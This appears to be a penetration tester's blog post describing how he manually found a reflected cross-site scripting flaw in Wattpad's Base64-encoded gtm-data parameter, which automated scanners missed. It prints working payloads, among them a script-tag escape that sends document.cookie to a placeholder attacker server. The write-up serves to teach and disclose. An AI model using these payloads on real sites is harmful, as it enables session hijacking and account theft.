Threats

by Eric Salario, penetration tester at Packetlabs.

Eric is a graduate of Centennial College's Computer Technician program and York University's Fundamentals and Advanced Cyber Security program. Within these programs, he acquired a range of both practical and theoretical knowledge with regards to information technology and information security.  Additionally, Eric has experience in IT support which exposed him to virtualization and server administration.

Penetration testing is a critical component of any robust cybersecurity strategy. However, relying solely on automated tools for these assessments can lead to oversight of nuanced security gaps that require manual effort to discover.

In this blog, I will present a simple example of a web application vulnerability I accidentally found in November 2020 while revisiting my old hobby of reading stories on Wattpad. This web application vulnerability was a reflected Cross-Site Scripting (XSS) vulnerability. However, it's not your typical XSS, but something that automated tools did not detect as it requires manual analysis.

High Level

The Base64-decoded value of the gtm-data parameter in (https://www.wattpad.com/start/writerjourney?gtm-data=BASE64) is passed into a JavaScript, which is not being properly sanitized, causing a cross-site scripting bug.

Scanning the Parameter With Automated Tools

The gtm-data parameter was fuzzed Using BurpSuite Pro, but the XSS was not found.

Vulnerability Discovery

Upon registration of a new account, the registration flow will eventually bring the users to the page where Wattpad asks for more information about the user. The URL contains a base64 string being passed to gtm-data parameter.

A test string test1234 was then converted to base64, then passed to the gtm-data parameter. Tracing the input revealed that the string gets injected in the application's DOM, where it's being passed to a JavaScript immediately-invoked function expression (IIFE).

The (test1234, window.dataLayer); immediately invokes the function, where n = something I have control over through the gtm-data parameter, and o is a Google Tag Manager's JavaScript object window.dataLayer.

First method: Abusing the Function

Since I control the content of n, I used this to control o as well. I constructed a payload that will execute the function. The payload is: [],hacker);var hacker=[document.domain];alert(hacker);. I tested and confirmed that the function executes first.

I converted this payload to base64 and passed it to the gtm-data parameter—however, the window.dataLayer object still mangled the request.

An easy solution was to add a parenthesis to isolate window.dataLayer. Using the new payload [],hacker);var hacker=[document.domain];alert(hacker);(AAA, the XSS successfully executed.

Second Method: Classic Script Tag Escape

This method was the "boring" one. I first tried to see if it was possible to close and escape the <script> tag using the payload A</script>\\\\.

Escape successful! Should be an easy reflected XSS with the payload A</script>\\\\<script>alert("hacker")</script> right?

Now, all what's left was to send the cookie using the payload: A</script>\\\\<script>new Image().src="http://<externalattackerserverhere>/bogus.php?output="+document.cookie;</script> since it was not protected by the HttpOnly flag.

Conclusion

Automated vulnerability scanners can serve as a valuable tool which is capable of identifying a wide range of vulnerabilities quickly and efficiently. However, they have limitations that can make them insufficient in certain scenarios.

While they can identify surface-level vulnerabilities, they may not be capable of performing deep analysis or identifying scenarios that require manual analysis. Therefore, they should be part of a comprehensive security strategy that includes automated and manual testing.